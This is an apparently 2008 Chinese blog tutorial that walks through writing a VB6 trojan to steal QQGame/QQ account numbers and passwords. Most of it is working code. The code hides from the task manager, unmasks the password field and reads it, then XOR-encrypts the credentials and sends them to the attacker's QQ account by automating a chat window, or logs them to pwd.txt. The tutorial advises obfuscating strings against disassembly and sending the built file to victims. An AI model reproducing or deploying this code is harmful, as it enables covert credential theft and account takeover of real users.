页面加载中...

另类编写QQGame木马

日期:2008年5月9日 评论次数:No Comments » 浏览次数:

随着QQ用户的日益壮大,QQ账号一直都是诸多不良份子窥探的目标。QQ的密码输入安全问题,引起了腾讯的高度重视。看来腾讯是被“偷”怕了,但是由于其“野心”,使刚刚“补”完的不安全因素又在另一个产品中出现——QQGame。相信使用QQ又同时在线玩游戏的朋友很多吧?因为QQGame使用的是与QQ相同的账号,也就是说,只要获取了QQGame的账号和密码就得到了其QQ账号和密码。好了,下面我们来看看如何编程来实现吧。

分析
  首先我们来看一下QQGame的登录界面,在图中有两个很重要的东西:QQ号码选择输入框和QQ密码输入框。现在我们用Visual Studio中附带的SPY++来看一下登录窗口的结构。
  注意图2中方框框出来的三处,首先我们看QQ号码的那两处,第一个是QQ号码的下拉选择框,其类名是ComboBox;第二个是QQ号码的输入框,其类名是Edit。如果里面有QQ号,可以直接获取到,上面做特殊处理的地方就是我的QQ号。紧接着的是QQ密码输入框,这个是无法直接获取的。在这一列表中类名为ComboBox的有两个,而类名为Edit的就更多了。那如何确定是我们要的东西呢?看看第一个被框起来的,其中有“同意条款”的字符,这其实是图1中密码输入框下的那个东西。有了它就简单了。因为一般写程序时,在布置界面、放置控件时是有顺序的,这个顺序一旦定下来轻易不会改变。所以我们可以根据这一点,利用“同意条款”的标签作为标志,往下查找。符合类名的就可以认为是QQ号码选择输入框和QQ密码输入框。
  继续,我们来看一下未正确登录前QQGame大厅的一些信息。
  从上图我们能获得的信息少的可怜,现在我们利用正确号码和密码登录,登录后在显示的QQGame大厅左上方可以看到个人信息。我们再用SPY++来看看正确登录后QQGame大厅的信息。
 这里发现不少东西,在其中大家找找图3中没有的信息。这样就相当于找到了登录前和登录后的不同之处,也就是两种状态的标志。上图中第一个框出的是QQGame大厅,第二个框是图4的个人信息,把这两个记下,下面有用。
  下面我们再来看看如何判断QQGame正在登录,因为必须判断其是否正确登录,否则获取的QQ号码和密码可能是错误的,而正确登录与否可以通过检测系统的窗口列表中有无登录窗口得到,只要是通过了“正在登录”过程,其后没有其它操作(如输入密码错误后而取消登录),且随后登录窗口在系统的窗口列表中消失,就可以认为获取的QQ号码和密码是正确的。是否发现QQ号码选择输入框和QQ密码输入框有什么不同呢?是的,下图的两个框都无效了,这是为了防止在登录过程中修改或再次输入而引起程序出错所做的限制,只要利用好这点就能判断是否正在登录了。
  那我们如何得到无效状态呢?还是用SPY++查看,在QQ密码输入框的样式中有WS_DISABLED,此样式只有无效状态下才会有。有效时无此样式,所以我们可以根据样式判断。
  在获取密码后,又该如何发送出来呢?一般的聊天方式有两种,一种是聊天窗口。通过SPY++查看其结构。
  首先,我们要注意上图中的第一个方框,也就是整个窗口的标题。这里显示的是聊天窗口最上端的“与×××聊天中”,其类名是“#32770(对话框)”,这是查找聊天窗口的主要依据。但在测试过程中我发现其类名仅仅是“#32770”而已。
我们接着要找到包含有发送按钮和输入信息文本框的上一级窗口,相对于整个窗口来说就只能算是一级子窗口,其类名是同样是“#32770(对话框)”,测试结果仍然是“#32770”。这就是上图中的第二个方框。第三个是发送按钮,其标题是“发送(S)”,类名是“Button”。注意,不要把上面的“发送(&S)”当作是我们要的“发送(S)”按钮。最后一个是输入信息文本框,它是三级子窗口,类名是“RICHEDIT”。在其上还有一级,类名是“AfxWnd42”。
  另一种是消息窗口。还是利用SPY++查看结构。消息窗口仅有一个和聊天窗口不同,那就是窗口的标题,这里是“×××– 发送消息”。
看了上面的两种聊天方式有没有想到什么?对,就是利用这两个窗口将获取到的QQ号码和密码经过加密后发到自己的QQ上。
  分析到这里就告一段落了,下面进入到实际设计。

被控端设计
  先给出被控端界面及对应的各属性,这样更方便我们理解下面的程序.
1.初始化
  在这一步首先要做的就是申明API、消息常数、结构及全局变量。完成之后在程序执行时要判断系统中是否已经有本程序的实例存在,如果有就退出,防止多个程序同时执行而引起错误。再在任务管理器中隐藏窗口,同时也使窗口不显示出来,达到隐藏的目的。接着获取系统目录的完整路径。最后打开本程序的文件,判断是否已经进行过配置,如果是,则将设置的QQ号和昵称读出并解密。在读文件时需要设置错误陷阱,防止读错误,而导致程序出错。代码如下:
Public CurrentPath As String '当前路径
Public QQGameMainWindowHwnd As Long 'QQ游戏主窗口句柄
Public QQRicheditHwnd As Long 'QQ聊天发送消息框句柄
Public QQWindow As Long 'QQ登录窗口句柄
Public QQNumberString As String 'QQ号
Public LastQQNumberString As String '倒数第二次QQ号
Public QQPasswordString As String 'QQ密码
Public LastQQPasswordString As String '倒数第二次QQ密码
Public SendButtonHwnd As Long 'QQ聊天窗口“发送”按钮句柄
Public RemoteQQNumber As String '设置人QQ号
Public RemoteQQName As String '设置人QQ昵称
Public SystemDirectory As String '系统路径

Private Sub Form_Load()
'不允许本程序多次运行
If App.PrevInstance = True Then End
'不在任务管理器中显示窗口
App.TaskVisible = False
'隐藏本程序窗口
Me.Hide
Dim RemoteQQ() As String '设置人QQ号信息
Dim TempString As String '临时存放设置人QQ信息
Dim Flag As Long '添加信息标志位置
Dim FileNum As Integer '文件号
Dim FileContent As String '文件内容
Dim Password As String '解密密码
'判断当前路径是否为根目录
If Right(App.Path, 1) <> "\" Then
'是则添加“\”及本程序文件名
CurrentPath = App.Path & "\" & App.Exename & ".exe"
Else
'否则直接添加本程序文件名
CurrentPath = App.Path & App.Exename & ".exe"
End If
Dim Ret As Long '返回系统路径长度
Dim sText As String '系统路径
'设置系统路径缓冲区
sText = Space(255)
'获取系统路径并返回路径长度
Ret = GetSystemDirectory(sText, 255)
'去除空格,获得真正的系统路径
SystemDirectory = Left$(sText, Ret)
'加密密码
Password = Chr(80) & Chr(97) & Chr(115) & Chr(115) & Chr(87) & Chr(111) & Chr(114) & Chr(100)
'获取自由文件号
FileNum = FreeFile()
'以二进制方式打开
Open CurrentPath For Binary As FileNum
'设置文件内容缓冲区
FileContent = Space(LOF(FileNum))
'读入本程序内容
Get FileNum, , FileContent
'关闭文件
Close FileNum
'获得添加信息标志位置,19是整个字符串的长度
Flag = InStr(1, FileContent, "smallrascal by 2006") + 19
'判断是否找到添加信息标志位置
If Flag <= 19 Then
'否则给出提示
MsgBox "此文件没有正确配置!", vbInformation
'结束程序
End
Else
'是则将添加信息标志位置后的字符取出
TempString = Mid(FileContent, Flag)
'以“smallrascal.blog.tom.com”拆分
RemoteQQ = Split(TempString, "smallrascal.blog.tom.com")
'得到解密后的设置人QQ号
RemoteQQNumber = XORDecrypt(RemoteQQ(0), Password)
'得到解密后的设置人QQ昵称
RemoteQQName = XORDecrypt(RemoteQQ(1), Password)
'在调试时给出信息
Debug.Print "|" & RemoteQQNumber & "|" & " " & "|" & RemoteQQName & "|"
End If
'初始化QQ登录窗口句柄
QQWindow = 0
End Sub
2.获取QQ号和密码
首先查找QQGame登录窗口,如果是第一次找到,则将窗口句柄给QQ登录窗口变量,以后需用其判断是否正确登录。接着查找图2中的“同意条款”的标签,根据找到的标签继续查找,可以获得QQ号码选择框,紧随选择框下的窗口就是我们能获取QQ号的QQ号码输入框,找到后就可以着手准备获取号码了。
首先需要获取QQ号码的长度,再根据获取的长度设置一个存放QQ号的缓冲区,接着就是获取QQ号并存入此缓冲区中。因为在获取之前需要设置缓冲区,所以上一次获取的结果会被覆盖,必须使用另一个变量来保存。
获取QQ密码利用同样的方法。只要利用获取到的QQ号码输入框句柄继续往下找就可以找到QQ密码输入框了。找到后先判断此输入框是否有效,有效就获取密码长度、根据长度设置缓冲区、获取密码存入缓冲区,获取的结果同样要用另一个变量来保存,无效就退出当次过程,继续下一次。
  这里要注意的是,因为Windows 2000以上的系统对密码输入框做了特殊的处理,必须将密码输入框的无密码特性去除,这样才能获取其中的密码字符。另外,为了不用循环而不断检测、获取,必须使用TIMER控件。代码如下:
'获取QQ游戏登录窗口句柄
QQGameLoginWindowHwnd = FindWindow("#32770", "QQ游戏")
'判断是否获取到QQ游戏登录窗口句柄
If QQGameLoginWindowHwnd <> 0 Then
'是则在调试时给出信息
Debug.Print "已经找到QQGame登录窗口!hwnd=" & QQGameLoginWindowHwnd
'如果是第一次检测到QQ游戏登录窗口,那就将其句柄给QQWindow
If QQWindow = 0 Then QQWindow = QQGameLoginWindowHwnd
'获取QQ游戏登录窗口中“同意条款”标签句柄
QQAgreeStaticHwnd = FindWindowEx(QQGameLoginWindowHwnd, 0&, "Static", "同意条款")
'判断是否获取到QQ游戏登录窗口中“同意条款”标签句柄
If QQAgreeStaticHwnd <> 0 Then
'是则在调试时给出信息
Debug.Print "已经找到QQ号标签!hwnd=" & QQAgreeStaticHwnd
'QQ游戏登录窗口中号码选择框句柄
QQNumberComboHwnd = FindWindowEx(QQGameLoginWindowHwnd, QQAgreeStaticHwnd, "ComboBox", vbNullString)
'判断是否获取到QQ游戏登录窗口中号码选择框句柄
If QQNumberComboHwnd <> 0 Then
'是则在调试时给出信息
Debug.Print "已经找到QQ号组合框!hwnd=" & QQNumberComboHwnd
'获QQ游戏登录窗口中号码输入框句柄
QQNumberEditHwnd = FindWindowEx(QQNumberComboHwnd, ByVal 0, "Edit", vbNullString)
'判断是否获取到QQ游戏登录窗口中号码输入框句柄
If QQNumberEditHwnd <> 0 Then
'是则在调试时给出信息
Debug.Print "已经找到QQ号编辑框!hwnd=" & QQNumberEditHwnd
'获取QQ号长度
QQNumberLenght = SendMessage(QQNumberEditHwnd, WM_GETTEXTLENGTH, 0, 0)
'设置QQ号缓冲区
QQNumberString = String(QQNumberLenght + 1, Chr(0))
'获取QQ号
SendMessage QQNumberEditHwnd, WM_GETTEXT, QQNumberLenght + 1, ByVal QQNumberString
'判断获取到的是否是QQ号
If Asc(Mid(QQNumberString, 1, 1)) <> 0 Then
'是则将获取到的QQ号给LastQQNumberString,防止最后一次错误号码覆盖前面的正确号码
LastQQNumberString = QQNumberString
End If
'在调试时给出信息
Debug.Print "QQ号是:" & LastQQNumberString
'获取QQ游戏登录窗口中密码输入框句柄
QQPasswordEditHwnd = FindWindowEx(QQGameLoginWindowHwnd, QQNumberexitHwnd, "Edit", vbNullString)
'判断是否获取QQ游戏登录窗口中密码输入框句柄
If QQPasswordEditHwnd <> 0 Then
'是则在调试时给出信息
Debug.Print "已经找到QQ密码编辑框!hwnd=" & QQPasswordEditHwnd
'获取QQ游戏密码编辑框的样式
WindowStyle = GetWindowLong(QQPasswordEditHwnd, GWL_STYLE)
'判断QQ游戏密码编辑框是否无效,是则说明已经开始登录
If (WindowStyle And WS_DISABLED) = 0 Then
'否则在调试时给出信息
Debug.Print "没有开始登录!"
'获取QQ游戏密码输入框的掩码字符
nType = SendMessage(QQPasswordEditHwnd, EM_GETPASSWORDCHAR, 0, 0)
'判断是否获取到QQ游戏密码输入框的掩码字符
If nType <> 0 Then
'是则取消QQ游戏密码输入框的掩码字符
PostMessage QQPasswordEditHwnd, EM_SETPASSWORDCHAR, 0, 0
'初始化循环变量
i = 0
'初始化最后一次密码输入框的掩码字符
iPwdLast = 0
'开始循环,因为PostMessage投递的消息需要一段时间才能完成,所以必须延时等待
While (i < 50)
'获取QQ游戏密码输入框的掩码字符
iPwdLast = SendMessage(QQPasswordEditHwnd, EM_GETPASSWORDCHAR, 0, 0)
'循环变量加1
i = i + 1
'继续下一次循环
Wend
'获取QQ密码长度
QQPasswordLenght = SendMessage(QQPasswordEditHwnd, WM_GETTEXTLENGTH, 0, 0)
'设置QQ密码缓冲区
QQPasswordString = String(QQPasswordLenght + 1, Chr(0))
'获取QQ密码
SendMessage QQPasswordEditHwnd, WM_GETTEXT, QQPasswordLenght + 1, ByVal QQPasswordString
'还原QQ游戏密码输入框的掩码字符
PostMessage QQPasswordEditHwnd, EM_SETPASSWORDCHAR, nType, 0
'判断获取到的是否是QQ密码
If Asc(Mid(QQPasswordString, 1, 1)) <> 0 Then
'是则将获取到的QQ密码给LastQQPasswordString,防止最后一次错误密码覆盖前面的正确密码
LastQQPasswordString = QQPasswordString
End If
'在调试时给出信息
Debug.Print "QQ密码是:" & LastQQPasswordString
End If
Else
'是则在调试时给出信息
Debug.Print "已经开始登录!"
'退出本过程并继续检测
Exit Sub
End If
3.判断完成获取
  没有找到QQGame登录窗口只有两种可能。一是根本就没有执行过QQGame,当然也就不可能出现登录窗口。二是出现了又消失了,这种又可以分两种情况,一个是执行了QQGame,但又因为某种原因关闭了;第二种就是执行了QQGame并正确登录了。现在首要的任务就是判断这三种可能。第一种可以利用有无QQGame大厅来判断,如果执行了QQGame,那么QQGame大厅是一定会有的。第二种与第三种只要找到一个鉴别标志就可以了,这里利用图5中有而图3中没有的信息作为标志(上面我们已经记录了)。如果能在系统的窗口列表中找到这个标志,那就说明可以正确登录了。接下来判断获取到的QQ号码和密码是否是我们所需要的,上一步说的很明白,它可能会被覆盖。如果“是”则在对应的文本框中显示(这一步为了下面的处理与调试方便,可以不需要)。代码如下:
Else
'否则在调试时给出信息
Debug.Print "没有找到QQGame登录窗口!"
'查找QQ游戏主窗口句柄
EnumChildWindows GetDesktopWindow, AddressOf EnumWindowProc, ByVal 0&
'判断是否找到QQ游戏主窗口句柄
If QQGameMainWindowHwnd <> 0 Then
'是则在调试时给出信息
Debug.Print "已经找到QQGame主窗口!hwnd=" & QQGameMainWindowHwnd
'获取QQ游戏完成登录标志
EnumWindowReturn = EnumChildWindows(QQGameMainWindowHwnd, AddressOf EnumChildProc, ByVal 0&)
'判断是否完成登录
If EnumWindowReturn = 1 Then
'否则在调试时给出信息
Debug.Print "没有完成登录!"
'判断是否是第一次检测到QQ游戏登录窗口
If QQWindow <> 0 Then
'否则判断最后一次获取到的是否是QQ号码和密码
If Asc(Mid(LastQQNumberString, 1, 1)) <> 0 And Asc(Mid(LastQQPasswordString, 1, 1)) <> 0 Then
'是则将QQ号码显示在号码文本框中
txtQQNumber.Text = LastQQNumberString
'将QQ密码显示在密码文本框中
txtQQPassword.Text = LastQQPasswordString

'查找QQ游戏主窗口句柄
Public Function EnumWindowProc(ByVal hwnd As Long, ByVal lParam As Long) As Long
Dim Ret As Long '返回类名长度
Dim sText As String '返回类名
Dim WindowTitle As String '窗口标题
'设置类名缓冲区
sText = Space(255)
'获取类名并返回类名长度
Ret = GetClassName(hwnd, sText, 255)
'设置窗口标题缓冲区
WindowTitle = String(GetWindowTextLength(hwnd) + 1, Chr$(0))
'获取窗口标题
GetWindowText hwnd, WindowTitle, Len(WindowTitle)
'判断是否为QQ游戏主窗口
If InStr(1, Left$(sText, Ret), "0000:0:10011:0:0") <> 0 And InStr(1, WindowTitle, "QQ游戏") Then
'是则将当前句柄给QQ游戏主窗口句柄
QQGameMainWindowHwnd = hwnd
'结束此函数
EnumWindowProc = 0
Else
'否则继续此函数
EnumWindowProc = 1
End If
End Function

'判断正确登录与否
Public Function EnumChildProc(ByVal hwnd As Long, ByVal lParam As Long) As Long
Dim Ret As Long '返回类名长度
Dim sText As String '返回类名
'设置类名缓冲区
sText = Space(255)
'获取类名并返回类名长度
Ret = GetClassName(hwnd, sText, 255)
'判断是否已经正确登录
If Left$(sText, Ret) = "QQGame2006" Then
'是则结束此函数
EnumChildProc = 0
Else
'否则继续此函数
EnumChildProc = 1
End If
End Function
4.发送或保存获取的资料
  用发送邮件、提交网页等方式都很容易被反追踪,我们就用QQ本身的特性——聊天、发送消息来完成这些操作。只要这些消息是经过加密的,即使被发现也无从解密,这样相对安全些。
首先要做的就是连接并加密获取的QQ号码和密码,接着判断系统中有无QQ.EXE的进程,如果没有就将当前日期、时间与加密后的信息用添加的方式保存在系统目录下的pwd.txt文件中,如果有就利用腾讯提供的与陌生人聊天的方式打开聊天或消息窗口。下面就是循环检测此窗口是否已经打开。如果检测到,那就继续跟着下去获取该窗口的句柄及该窗口中“发送”按钮及聊天窗口中输入信息文本框句柄,全部获取到后就向文本框中发送消息。将加密后的QQ号码和密码“发送”至其中,然后还是通过消息模拟按下“发送”按钮,最后将该聊天窗口关闭。
此步骤需要注意的很多。在程序中我使用的静态密码,可以通过W32Dasm反汇编软件的字符串功能查看到,所以我把每个字符都用CHR+ASCII形式表示,这样就没那么容易被发现了。另外,打开的聊天窗口只可能是一种方式,也就是说要么就是消息窗口,要么是聊天窗口,所以下面可以将两个窗口的句柄相加,因为其中有一个必定为0,相加的结果其实就是获取到的那个句柄值。循环检测窗口很消耗系统资源,必须使用DoEvents将资源让给系统,否则CPU占用率将是100%,系统缓慢。还要说一下这里为什么用EM_SETSEL和EM_REPLACESEL消息,而不用WM_GETTEXT。这是因为腾讯对聊天窗口的文本框做了特殊处理,过滤了WM_GETTEXT消息,在某种程度上“打击”了QQ尾巴。最后还有一个很重要的问题,那就是将消息发送出去。为了使聊天消息不受系统及网速的影响,彻底能发出去,必须让本程序休眠一段时间方可关闭该聊天窗口。部分代码如下:
'将QQ号码和密码连接
QQNumberAndPassword = "QQ号码:" & txtQQNumber.Text & vbCrLf & "QQ密码:" & txtQQPassword.Text
'加密密码
Smallrascal = Chr(83) & Chr(109) & Chr(97) & Chr(108) & Chr(108) & Chr(82) & Chr(97) & Chr(115) & Chr(99) & Chr(97) & Chr(108)
'加密QQ号码和密码字符
enQQNumberAndPassword = XOREncrypt(QQNumberAndPassword, Smallrascal)
'判断进程列表中有无QQ.EXE
If QQProcess = True Then
'有则根据获取到的设置人QQ号码和昵称打开QQ聊天窗口
ShellExecute Me.hwnd, vbNullString, "Tencent://Message/?Menu=yes&Uin=" & RemoteQQNumber, vbNullString, vbNullString, SW_SHOW
'无条件循环检测聊天窗口
While (True)
'获取QQ聊天窗口句柄
QQTalkWindow = FindWindow("#32770", "与 " & RemoteQQName & " 聊天中")
'获取QQ消息窗口句柄
QQMessageWindow = FindWindow("#32770", RemoteQQName & " – 发送消息")
'判断是否找到这两个窗口中的任何一个
If QQTalkWindow = 0 And QQMessageWindow = 0 Then
'是则在调试时给出信息
Debug.Print "没有找到与我的聊天窗口!"
'将资源交给系统处理其他程序
DoEvents
Else
'否则在调试时给出信息
Debug.Print "已经找到与我的聊天窗口!hwnd=" & QQTalkWindow + QQMessageWindow
'获取聊天窗口中输入信息的文本框句柄,因上面的两种聊天窗口只能出现一种,所以这里可以用相加
QQRicheditHwnd = GetQQRicheditHwnd(QQTalkWindow + QQMessageWindow)
'判断是否获取到聊天窗口中输入信息的文本框句柄
If QQRicheditHwnd <> 0 Then
'是则在调试时给出信息
Debug.Print "已经找到消息窗口!hwnd=" & QQRicheditHwnd
'取消聊天窗口中输入信息的文本框的选择
SendMessage QQRicheditHwnd, EM_SETSEL, -1, 0
'替换聊天窗口中输入信息的文本框的选择,若没有选择就直接插入加密后的QQ号码和密码
SendMessage QQRicheditHwnd, EM_REPLACESEL, 0, ByVal enQQNumberAndPassword
'模拟按下“发送”消息按钮
SendMessage SendButtonHwnd, BM_CLICK, 0, 0
'让本程序暂停500毫秒,等待发送QQ消息
Sleep (500)
'关闭QQ聊天窗口
PostMessage QQTalkWindow + QQMessageWindow, WM_CLOSE, 0, 0
Else
'否则在调试时给出信息
Debug.Print "没有找到消息窗口!"
End If
'结束程序
End
End If
'继续下一次循环
Wend
Else
'获取自由文件号
FileNum = FreeFile()
'以追加方式打开文件
Open SystemDirectory & "\pwd.txt" For Append As FileNum
'将获取到的号码和密码及当前日期和时间添加进文件
Print #FileNum, XOREncrypt(Date & " " & Time & vbCrLf & QQNumberAndPassword, Smallrascal) & vbCrLf
'关闭文件
Close FileNum
'结束程序
End
End If
End If
End If
Else
'是则在调试时给出信息
Debug.Print "已经完成登录!"
End If
Else
'否则在调试时给出信息
Debug.Print "没有找到QQGame主窗口!"
End If
End If
'设置错误标号
Err:
'退出本过程并继续检测
Exit Sub
End Sub
(详细部分请参见关盘的代码)
至此,被控端基本完成,可以编译使用了。下面我们再来看一下主控端的编写。

主控端设计
  还是先给出被控端界面及对应的各属性。主控端(配置程序)相对就简单的多了,这里只说一下具体过程。
首先是初始化密码,还是用CHR+ASCII形式表示。其次打开文件判断是否已经进行过配置,是就给出提示,防止再次配置造成错误,不是就以二进制形式打开需配置的文件,将加密后的设置人QQ号和昵称及分隔标志写入到文件末尾,完成后给出提示。

加密/解密
加密/解密的方法好坏直接关系着整个程序的安全性,本文仅仅是探讨如何获取QQGame的号码和密码,所以仅仅利用了很简单的异或运算。
所谓异或运算就是一种逻辑运算,学过计算机原理的都知道。
小知识:异或运算:
假设有一个十进制数“10”,那其十六进制就是“A”,那么二进制就是“1010”。如果异或十进制的“9”,其二进制为“1001”,那么结果就是十进制的“3”,二进制的“0011”,简单的说就是每两位做运算,记住口诀“不同为1,相同为0”就行。我们可以自己拿笔计算一下。
具体解释在代码注释中已经很清楚了,况且我们不一定要按照这种加密方式进行,各位只要将这一模块换成自己的,在其他代码中稍作修改即可。
  好了,主控端、被控端都完成了,下面我们来看看如何使用!

使用
  将需配置的文件(被控端)Copy到主控端(配置程序)目录中,执行主控端。在出现的界面中有“QQ号码”和“QQ昵称”两项,在其中分别填入自己的QQ号和昵称,最后点击“配置”按钮就可以了。
  将配置好的被控端发送给你的对象,让其执行,我们可以发现没有界面显示,但可以通过任务管理器的进程列表查到。
  我们先来看看系统中没有QQ.EXE进程的执行结果。执行被控端后打开QQGame并正确登录,等出现大厅界面后即可到系统目录下找到“pwd.txt”。打开就可以发现加密后的消息。
  解密暂时放一下,再来看有QQ.EXE进程的方式。还是先执行被控端,接着运行QQGame,正确登录,同样是等出现大厅界面后去查看一下被控端QQ发来的消息。
  最后就是将获取的信息粘贴到控制端(配置程序)中密文的文本框中,点击“解密”按钮进行解密。
写在最后
到这里,整个QQGame就尽在掌握之中了,估计腾讯及QQGame的使用者又要“恐怖”上一段时间了。本程序还有许多不足之处,比如程序自启动、静态密码、QQGame版本问题等,这些就需要各位读者朋友们自行解决吧。
注:本程序使用WINXP+VB6编译测试通过,适用于QQGame.EXE版本号为2.0.101.28的QQGame大厅,也就是QQGame2006Beta1,登录窗口中的图片与本程序控制端的图片一样,使用的QQ的版本是QQ2006Beta1 V06.0.101.194。

0 Comments.

Leave a Reply

回到顶部